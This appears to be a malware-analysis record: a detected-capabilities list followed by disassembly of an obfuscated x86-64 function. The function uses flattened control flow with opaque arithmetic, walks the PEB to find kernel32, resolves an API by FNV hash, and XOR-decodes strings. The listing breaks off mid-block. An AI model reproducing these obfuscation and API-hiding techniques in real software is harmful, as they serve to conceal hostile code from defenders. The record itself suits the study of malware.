Function at 0x140440c46
Capabilities:
Access peb ldr_data
Authenticate hmac
Encrypt data using chaskey
Encrypt data using speck
Get kernel32 base address
Get number of processors
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x2c352697
pushf
not eax
add eax, 0x8aa3eb4d
xor eax, 0xf205b32f
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xc36dd30c
xor eax, 0x80c13abf
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xa810989b
xor eax, 0xb7a1cd4d
rol eax, 0x96
popf
cmp eax, 0x29
jne 0x140440c96
popf
pop rax
jmp 0x1404427ac
cmp eax, 0
jne 0x140440ca5
popf
pop rax
jmp 0x140440fc0
cmp eax, 3
jne 0x140440cb4
popf
pop rax
jmp 0x140441245
cmp eax, 1
jne 0x140440cc3
popf
pop rax
jmp 0x1404410a7
cmp eax, 0xd
jne 0x140440cd2
popf
pop rax
jmp 0x1404417a7
cmp eax, 0x1a
jne 0x140440ce1
popf
pop rax
jmp 0x140442081
cmp eax, 0xe
jne 0x140440cf0
popf
pop rax
jmp 0x140441812
cmp eax, 0x31
jne 0x140440cff
popf
pop rax
jmp 0x140442c38
cmp eax, 0x19
jne 0x140440d0e
popf
pop rax
jmp 0x140442002
cmp eax, 8
jne 0x140440d1d
popf
pop rax
jmp 0x140441492
cmp eax, 0x2a
jne 0x140440d2c
popf
pop rax
jmp 0x140442850
cmp eax, 0x17
jne 0x140440d3b
popf
pop rax
jmp 0x140441eb7
cmp eax, 0x1c
jne 0x140440d4a
popf
pop rax
jmp 0x140442162
cmp eax, 0x2e
jne 0x140440d59
popf
pop rax
jmp 0x140442acf
cmp eax, 0x18
jne 0x140440d68
popf
pop rax
jmp 0x140441f75
cmp eax, 0x2b
jne 0x140440d77
popf
pop rax
jmp 0x1404428f8
cmp eax, 0x1b
jne 0x140440d86
popf
pop rax
jmp 0x1404420cc
cmp eax, 0x2d
jne 0x140440d95
popf
pop rax
jmp 0x1404429fc
cmp eax, 0x23
jne 0x140440da4
popf
pop rax
jmp 0x140442423
cmp eax, 0x25
jne 0x140440db3
popf
pop rax
jmp 0x14044253b
cmp eax, 0x32
jne 0x140440dc2
popf
pop rax
jmp 0x140442c96
cmp eax, 0x13
jne 0x140440dd1
popf
pop rax
jmp 0x140441aff
cmp eax, 0x33
jne 0x140440de0
popf
pop rax
jmp 0x140442d1d
cmp eax, 0x24
jne 0x140440def
popf
pop rax
jmp 0x14044249f
cmp eax, 0x1e
jne 0x140440dfe
popf
pop rax
jmp 0x14044228f
cmp eax, 0xc
jne 0x140440e0d
popf
pop rax
jmp 0x140441712
cmp eax, 0x26
jne 0x140440e1c
popf
pop rax
jmp 0x1404425f6
cmp eax, 0x27
jne 0x140440e2b
popf
pop rax
jmp 0x14044264b
cmp eax, 0x30
jne 0x140440e3a
popf
pop rax
jmp 0x140442bfe
cmp eax, 0x10
jne 0x140440e49
popf
pop rax
jmp 0x14044195c
cmp eax, 0x2c
jne 0x140440e58
popf
pop rax
jmp 0x14044299c
cmp eax, 9
jne 0x140440e67
popf
pop rax
jmp 0x1404414fa
cmp eax, 4
jne 0x140440e76
popf
pop rax
jmp 0x1404412c8
cmp eax, 0x16
jne 0x140440e85
popf
pop rax
jmp 0x140441d99
cmp eax, 0x28
jne 0x140440e94
popf
pop rax
jmp 0x140442751
cmp eax, 0xa
jne 0x140440ea3
popf
pop rax
jmp 0x140441626
cmp eax, 0x36
jne 0x140440eb2
popf
pop rax
jmp 0x140442e7b
cmp eax, 0x14
jne 0x140440ec1
popf
pop rax
jmp 0x140441c9b
cmp eax, 7
jne 0x140440ed0
popf
pop rax
jmp 0x140441410
cmp eax, 0x34
jne 0x140440edf
popf
pop rax
jmp 0x140442de2
cmp eax, 2
jne 0x140440eee
popf
pop rax
jmp 0x140441162
cmp eax, 0x20
jne 0x140440efd
popf
pop rax
jmp 0x140442349
cmp eax, 0x1d
jne 0x140440f0c
popf
pop rax
jmp 0x1404421fd
cmp eax, 0x11
jne 0x140440f1b
popf
pop rax
jmp 0x140441a01
cmp eax, 0x35
jne 0x140440f2a
popf
pop rax
jmp 0x140442e2e
cmp eax, 0x2f
jne 0x140440f39
popf
pop rax
jmp 0x140442b6f
cmp eax, 0x12
jne 0x140440f48
popf
pop rax
jmp 0x140441a8a
cmp eax, 0x21
jne 0x140440f57
popf
pop rax
jmp 0x1404423d4
cmp eax, 0x1f
jne 0x140440f66
popf
pop rax
jmp 0x1404422eb
cmp eax, 0xb
jne 0x140440f75
popf
pop rax
jmp 0x140441681
cmp eax, 0xf
jne 0x140440f84
popf
pop rax
jmp 0x140441860
cmp eax, 0x15
jne 0x140440f93
popf
pop rax
jmp 0x140441d2c
cmp eax, 5
jne 0x140440fa2
popf
pop rax
jmp 0x140441311
cmp eax, 6
jne 0x140440fb1
popf
pop rax
jmp 0x140441387
cmp eax, 0x22
jne 0x140440fc0
popf
pop rax
jmp 0x14044241a
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
movaps xmmword [rsp + 0x1f0], xmm6
mov rax, qword [0x1403f1ec0]
xor rax, rsp
mov qword [rbp + 0xe0], rax
mov r14, rdx
mov r15, rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rdx
xor r13d, r13d
mov eax, dword [0x1403cb75c]
mov dword [rsp + 0x50], eax
movzx ecx, word [0x1403cb760]
mov word [rsp + 0x54], cx
movzx eax, byte [0x1403cb762]
mov byte [rsp + 0x50], 0x5c
xor byte [rsp + 0x51], 0x39
xor byte [rsp + 0x52], 0x3a
xor byte [rsp + 0x53], 0x3b
xor cl, 0x3c
mov byte [rsp + 0x54], cl
xor byte [rsp + 0x55], 0x3d
xor al, 0x3e
mov byte [rsp + 0x56], al
mov rdx, qword [rdx + 0x10]
lea rax, [rsp + 0x50]
mov rsi, 0xffffffffffffffff
mov rcx, rsi
push rax
pushf
mov eax, 0x6dd3aaf7
pushf
not eax
add eax, 0xa806f9e5
xor eax, 0xf2145830
rol eax, 0xda
popf
pushf
not eax
add eax, 0xcacd03f6
xor eax, 0xaaad07eb
rol eax, 0x39
popf
pushf
not eax
add eax, 0x810d9b0b
xor eax, 0x9d1b986a
rol eax, 0x9b
popf
jmp 0x140440c87
inc rcx
cmp byte [rax + rcx], 0
jne 0x140441109
push rax
pushf
mov eax, 0x87573f72
pushf
not eax
add eax, 0x86014add
xor eax, 0x80b845e3
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xbe4caebc
xor eax, 0xbef9c665
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xdaa8d4d0
xor eax, 0xf811d0cf
rol eax, 4
popf
pushf
not eax
add eax, 0xb15727bf
xor eax, 0xc8f1a002
rol eax, 0x12
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x6a961feb
pushf
not eax
add eax, 0xc2697aa2
xor eax, 0xff75366b
rol eax, 0x69
popf
pushf
not eax
add eax, 0xfc9ce489
xor eax, 0xafd5edad
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xd2da473d
xor eax, 0xd5b17e8c
rol eax, 0x33
popf
pushf
not eax
add eax, 0xa33f5cad
xor eax, 0xdfd6aa93
rol eax, 0xf6
popf
jmp 0x140440c87
movabs rax, 0xff352e78255bfab6
pushf
not rax
add rax, 0x4ee6ba84
xor rax, 0x709abfcd
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x6a0c1230
xor rax, 0x60c57629
rol rax, 0x43
popf
sub rax, rdx
cmp rax, rcx
jb 0x1404411ff
push rax
pushf
mov eax, 0x6d86c3e6
pushf
not eax
add eax, 0xc3755f43
xor eax, 0xcf0ee29b
rol eax, 0x83
popf
pushf
not eax
add eax, 0xd8bf5485
xor eax, 0xbe4b26a6
rol eax, 0x57
popf
pushf
not eax
add eax, 0xf64243b2
xor eax, 0x8ae65300
rol eax, 0x59
popf
pushf
not eax
add eax, 0xa30f7d03
xor eax, 0xdf1774d2
rol eax, 0xc
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x456a6734
pushf
not eax
add eax, 0xc205f141
xor eax, 0xd6f362f7
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xade2db16
xor eax, 0xcecad59a
rol eax, 0x45
popf
pushf
not eax
add eax, 0x96604902
xor eax, 0xc9c9e8d3
rol eax, 0xdf
popf
jmp 0x140440c87
mov r9, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140441282
push rax
pushf
mov eax, 0xcb3bf53d
pushf
not eax
add eax, 0xf8176d10
xor eax, 0xc8c07981
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xed51bfc2
xor eax, 0xaf100efc
rol eax, 0x1d
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0xefea09d3
pushf
not eax
add eax, 0xcfcdfa00
xor eax, 0xc30b01e9
rol eax, 0x22
popf
pushf
not eax
add eax, 0xe15dcfb4
xor eax, 0x923d7666
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xb23668c3
xor eax, 0xf856aa43
rol eax, 0xa5
popf
jmp 0x140440c87
mov r9, qword [r14]
push rax
pushf
mov eax, 0xaf3c3f31
pushf
not eax
add eax, 0xe31b9413
xor eax, 0xcb9471c2
rol eax, 0x81
popf
pushf
not eax
add eax, 0xa4efcfc9
xor eax, 0xdaf7dddb
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xaf1c4892
xor eax, 0xc43692eb
rol eax, 0x74
popf
jmp 0x140440c87
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, r14
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14013d850
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
push rax
pushf
mov eax, 0x265b26dd
pushf
not eax
add eax, 0xd3cdc5ea
xor eax, 0x8f760327
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x81596ac1
xor eax, 0xd2d15850
rol eax, 0x28
popf
jmp 0x140440c87
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x1404413dd
push rax
pushf
mov eax, 0x5493838a
pushf
not eax
add eax, 0x84f5aaea
xor eax, 0x9473ea65
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x842223b8
xor eax, 0xb007e29b
rol eax, 0xc
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x69f0f694
pushf
not eax
add eax, 0xb034ee9d
xor eax, 0xf112d9d1
rol eax, 0xb
popf
pushf
not eax
add eax, 0x88b65dbf
xor eax, 0xffa79018
rol eax, 0x7f
popf
jmp 0x140440c87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14044145f
push rax
pushf
mov eax, 0xb4112886
pushf
not eax
add eax, 0xaec1678d
xor eax, 0xc074326e
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xdb9ba89d
xor eax, 0x8d2dbb76
rol eax, 0x20
popf
pushf
not eax
add eax, 0x877fc28e
xor eax, 0xcfe2df7c
rol eax, 0xd5
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0xe925e5e2
pushf
not eax
add eax, 0xe2f16ef4
xor eax, 0x8e52e82e
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xf49e3b82
xor eax, 0xf0764c8e
rol eax, 0x86
popf
jmp 0x140440c87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x60098ba8
pushf
not eax
add eax, 0xb4d6fb9d
xor eax, 0xa2d0266a
rol eax, 0x80
popf
pushf
not eax
add eax, 0xf009089f
xor eax, 0xb7faffaf
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xc64dcd50
xor eax, 0xfefbd1da
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xbe21deb0
xor eax, 0xe11e6e34
rol eax, 0x70
popf
jmp 0x140440c87
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0x9d37d62c
pushf
not r8d
add r8d, 0x80f45282
xor r8d, 0xab7bc89c
rol r8d, 0xc4
popf
pushf
not r8d
add r8d, 0xc1476183
xor r8d, 0x8311bfc8
rol r8d, 0x8d
popf
pushf
not r8d
add r8d, 0x83499712
xor r8d, 0xfbad95b7
rol r8d, 0x7b
popf
pushf
not r8d
add r8d, 0x86d6c8c4
xor r8d, 0xd0af5203
rol r8d, 0x63
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1404415cd
push rax
pushf
mov eax, 0x1afdb528
pushf
not eax
add eax, 0xbee5351e
xor eax, 0xa8eeb7ff
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xff0e1bde
xor eax, 0xe2dd5267
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x8acdffcb
xor eax, 0x8526a89a
rol eax, 0xfc
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x60317509
pushf
not eax
add eax, 0xc0d3e370
xor eax, 0xcbf1a5b0
rol eax, 0x95
popf
pushf
not eax
add eax, 0xa70a76b3
xor eax, 0xcf1ffdbe
rol eax, 0xce
popf
pushf
not eax
add eax, 0xfca01fc1
xor eax, 0x997c8ac4
rol eax, 0x48
popf
pushf
not eax
add eax, 0x8b67b7a6
xor eax, 0xe8bb84cd
rol eax, 0xa3
popf
jmp 0x140440c87
nop
push rax
pushf
mov eax, 0x7ebd2f76
pushf
not eax
add eax, 0xfddda8fa
xor eax, 0xe5974988
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x896dfc0d
xor eax, 0x9a1a5395
rol eax, 0xca
popf
pushf
not eax
add eax, 0xa29d2c4e
xor eax, 0xc76cb645
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xb38aef53
xor eax, 0xe68ccf6e
rol eax, 0x9b
popf
jmp 0x140440c87
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1404416df
push rax
pushf
mov eax, 0xcb354dce
pushf
not eax
add eax, 0xa0b54b49
xor eax, 0x9fe4a67b
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xbc11eb96
xor eax, 0xa432baea
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xcd7fcb0d
xor eax, 0xef7f10a9
rol eax, 0xd
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x4563f6df
pushf
not eax
add eax, 0xcaf7f219
xor eax, 0xc0f9b03a
rol eax, 0x19
popf
pushf
not eax
add eax, 0x9e846a50
xor eax, 0x97f9b9b9
rol eax, 0x96
popf
jmp 0x140440c87
cmp r8d, 0x2c665c4d
je 0x14044174e
push rax
pushf
mov eax, 0x9989b179
pushf
not eax
add eax, 0xc3ffa807
xor eax, 0xe57bd54d
rol eax, 0x87
popf
pushf
not eax
add eax, 0xe583d082
xor eax, 0xde71f01c
rol eax, 0x41
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x52e6728e
pushf
not eax
add eax, 0xe55e2ba9
xor eax, 0x8b3f80fc
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x8c83704a
xor eax, 0xb58fff0b
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x910f51e1
xor eax, 0xda5668aa
rol eax, 0x31
popf
pushf
not eax
add eax, 0xacc81a1f
xor eax, 0xf713cb9b
rol eax, 0xbf
popf
jmp 0x140440c87
test r9d, r9d
jne 0x1404417df
push rax
pushf
mov eax, 0x43852938
pushf
not eax
add eax, 0x9c3adcc1
xor eax, 0xfdb8daff
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xfb818702
xor eax, 0x9035c939
rol eax, 0x3c
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x3ad84f2c
pushf
not eax
add eax, 0xc739ac87
xor eax, 0xdd144ab1
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x8a257330
xor eax, 0xc75115ea
rol eax, 0x25
popf
jmp 0x140440c87
mov rax, qword [rax]
jmp 0x140441387
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
push r10
not r10
sub r8, r10
pop r10
sub r8, 1
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x60]
call r8
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x140441917
push rax
pushf
mov eax, 0x9f2eef68
pushf
not eax
add eax, 0x84ba3279
xor eax, 0xbd692a66
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xa2a18625
xor eax, 0x8f0ebdf6
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xe8f9f356
xor eax, 0xd71a363b
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xd8b9cdfc
xor eax, 0xf94f42c7
rol eax, 0xda
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0xad853bc2
pushf
not eax
add eax, 0xbcd6d0bb
xor eax, 0xf43bd8e7
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x9967277e
xor eax, 0xbf4ec167
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xf825024a
xor eax, 0xe6cbf53d
rol eax, 1
popf
jmp 0x140440c87
movups xmm0, xmmword [0x1403cb7d8]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x1403cb7e8]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1403cb7ec]
mov word [rbp - 0x6c], ax
cmp byte [0x1403cb7ed], 0
je 0x1404419ce
push rax
pushf
mov eax, 0x9dfe617d
pushf
not eax
add eax, 0x9a110901
xor eax, 0x87ba16a2
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xd47fb7cf
xor eax, 0xc4d7b0bd
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xa200ba6a
xor eax, 0xa14aa9dc
rol eax, 0x80
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x689573b0
pushf
not eax
add eax, 0xc14364b5
xor eax, 0xf48701d5
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xfea666df
xor eax, 0x939baabd
rol eax, 0xc0
popf
jmp 0x140440c87
mov ecx, r13d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140441a57
push rax
pushf
mov eax, 0x2b692b04
pushf
not eax
add eax, 0x9036cda5
xor eax, 0xedf09fec
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xc200d61d
xor eax, 0xd8e6b28e
rol eax, 0x67
popf
pushf
not eax
add eax, 0xd123004a
xor eax, 0xe1aa8eaf
rol eax, 0x58
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x523205b1
pushf
not eax
add eax, 0x8a362952
xor eax, 0x8c7de1ac
rol eax, 0x80
popf
pushf
not eax
add eax, 0x9f18b2ba
xor eax, 0xefdef0ad
rol eax, 0x4a
popf
jmp 0x140440c87
movdqa xmm5, xmmword [0x1403cc610]
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm6, xmmword [0x1403cc630]
movdqa xmm0, xmmword [0x1403cc660]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x50]
push rax
pushf
mov eax, 0x7d343cdc
pushf
not eax
add eax, 0x8c97bcaa
xor eax, 0x96d1500f
rol eax, 0x39
popf
pushf
not eax
add eax, 0xd66b5e7d
xor eax, 0xacce1d21
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xb2fc1d15
xor eax, 0x8f2da318
rol eax, 0x84
popf
jmp 0x140440c87
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140441c42
push rax
pushf
mov eax, 0x2fd48bce
pushf
not eax
add eax, 0x9e85db6f
xor eax, 0xd4777d74
rol eax, 0x52
popf
pushf
not eax
add eax, 0xc174e3e9
xor eax, 0xfde46e47
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xc848c50b
xor eax, 0xecd01238
rol eax, 0xc9
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0xdabae02f
pushf
not eax
add eax, 0xfbdfb4be
xor eax, 0xf59cbcdb
rol eax, 0xae
popf
pushf
not eax
add eax, 0x9c595923
xor eax, 0xf93f9bf5
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x862015c9
xor eax, 0xcd3411ea
rol eax, 0
popf
pushf
not eax
add eax, 0x81d07e4b
xor eax, 0xc04be728
rol eax, 0xe7
popf
jmp 0x140440c87
cmp ecx, 0x16
jge 0x140441cf9
push rax
pushf
mov eax, 0x5b0a9799
pushf
not eax
add eax, 0xf8f4e9e2
xor eax, 0x9d05a726
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xf4ebbe07
xor eax, 0xc687c511
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xa4acd3e8
xor eax, 0xaf97b728
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xb7af9ccb
xor eax, 0x992c6014
rol eax, 0xb8
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x2e3fdab1
pushf
not eax
add eax, 0xb2aaf1e7
xor eax, 0x8483bcc5
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x8feded69
xor eax, 0x97ed7cd3
rol eax, 0xfa
popf
jmp 0x140440c87
movsxd rax, ecx
lea r8, [rbp - 0x80]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop
push rax
pushf
mov eax, 0xc6cea8bd
pushf
not eax
add eax, 0x9b07c8a2
xor eax, 0x97c60eee
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x8d521844
xor eax, 0xd1c78287
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xd7005815
xor eax, 0x9e071342
rol eax, 0x32
popf
pushf
not eax
add eax, 0x93af6c7d
xor eax, 0xccc8de7a
rol eax, 0xed
popf
jmp 0x140440c87
mov eax, 0xa86ccefc
pushf
not eax
add eax, 0xc5a2d3a1
xor eax, 0x8d0b3d83
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x9f64dc91
xor eax, 0xf5a4cd39
rol eax, 0xb
popf
pushf
not eax
add eax, 0xfca2251e
xor eax, 0xb333f715
rol eax, 0x35
popf
pushf
not eax
add eax, 0x9c0e2b7a
xor eax, 0xfef6dc03
rol eax, 0x1a
popf
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x38
xor byte [r8], al
jmp 0x140441e0d
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x16
jl 0x140441e71
push rax
pushf
mov eax, 0x41294b88
pushf
not eax
add eax, 0xed33a2f1
xor eax, 0x9dff2228
rol eax, 0x78
popf
pushf
not eax
add eax, 0xa2bcefd0
xor eax, 0xbb407cc7
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xcbeba185
xor eax, 0xd3df8d5b
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x9c40f7db
xor eax, 0xa8e979db
rol eax, 2
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0xa4259ff8
pushf
not eax
add eax, 0xadc7039a
xor eax, 0x98c406c0
rol eax, 0xae
popf
pushf
not eax
add eax, 0xaf2711cf
xor eax, 0xd6c610af
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xba37af95
xor eax, 0xa1f1d6c0
rol eax, 0x18
popf
jmp 0x140440c87
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14013c9b0
xorps xmm0, xmm0
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], r13
mov qword [r15 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r15], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140441f42
push rax
pushf
mov eax, 0x48b2dff2
pushf
not eax
add eax, 0xc418db67
xor eax, 0x8b2679ae
rol eax, 0x56
popf
pushf
not eax
add eax, 0x94fc4a8e
xor eax, 0x8cb11500
rol eax, 0x13
popf
pushf
not eax
add eax, 0xe5c54d84
xor eax, 0xcff08118
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x89d58cf7
xor eax, 0xc336388d
rol eax, 0xaa
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0xd738762f
pushf
not eax
add eax, 0xceeb833b
xor eax, 0xccf609eb
rol eax, 4
popf
pushf
not eax
add eax, 0x96e49f56
xor eax, 0xe2948952
rol eax, 0xf5
popf
jmp 0x140440c87
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140441fbc
push rax
pushf
mov eax, 0x1a7393e1
pushf
not eax
add eax, 0x99c59461
xor eax, 0xad84b406
rol eax, 0xad
popf
pushf
not eax
add eax, 0x8fce18a5
xor eax, 0xb93e164a
rol eax, 0xd5
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x5210ad46
pushf
not eax
add eax, 0xc7f3a704
xor eax, 0xc18fd4f6
rol eax, 0x65
popf
pushf
not eax
add eax, 0xef10a65b
xor eax, 0x9671cbe9
rol eax, 0x82
popf
pushf
not eax
add eax, 0xcbbbb273
xor eax, 0xef4e063b
rol eax, 0x75
popf
jmp 0x140440c87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14044204e
push rax
pushf
mov eax, 0x3fffe7f9
pushf
not eax
add eax, 0x914717f3
xor eax, 0x8c2f4a7f
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xf8690f30
xor eax, 0x9d0fad78
rol eax, 0xb
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x53798f58
pushf
not eax
add eax, 0x976851e3
xor eax, 0xe6b62049
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x87cdb8f3
xor eax, 0xfaa17e9d
rol eax, 0xc
popf
jmp 0x140440c87
call fcn.140432633
push rax
pushf
mov eax, 0x5f06ab10
pushf
not eax
add eax, 0xb70c0498
xor eax, 0xe56caf72
rol eax, 0x14
popf
pushf
not eax
add eax, 0xf888ed07
xor eax, 0xb48d974e
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xdf9d6612
xor eax, 0xd78ad201
rol eax, 0x1f
popf
jmp 0x140440c87
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x14044211c
push rax
pushf
mov eax, 0x21aa8d7f
pushf
not eax
add eax, 0xfe2c7925
xor eax, 0xb5fa15cc
rol eax, 0x29
popf
pushf
not eax
add eax, 0x8a52ba3e
xor eax, 0xe255e76b
rol eax, 0x26
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x7975b260
pushf
not eax
add eax, 0xace2d695
xor eax, 0x8a619d78
rol eax, 0x10
popf
pushf
not eax
add eax, 0x95b5b229
xor eax, 0x956c7563
rol eax, 0x20
popf
pushf
not eax
add eax, 0xdd6522e3
xor eax, 0x94609662
rol eax, 0x45
popf
jmp 0x140440c87
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1404421a4
push rax
pushf
mov eax, 0x86ded857
pushf
not eax
add eax, 0xa394bce5
xor eax, 0xcfa773fa
rol eax, 0xca
popf
pushf
not eax
add eax, 0xd8c0eb9b
xor eax, 0x8e60ac4e
rol eax, 0x53
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0xc81ef87
pushf
not eax
add eax, 0xab6b6437
xor eax, 0xdf3919b5
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xb3fcfeaa
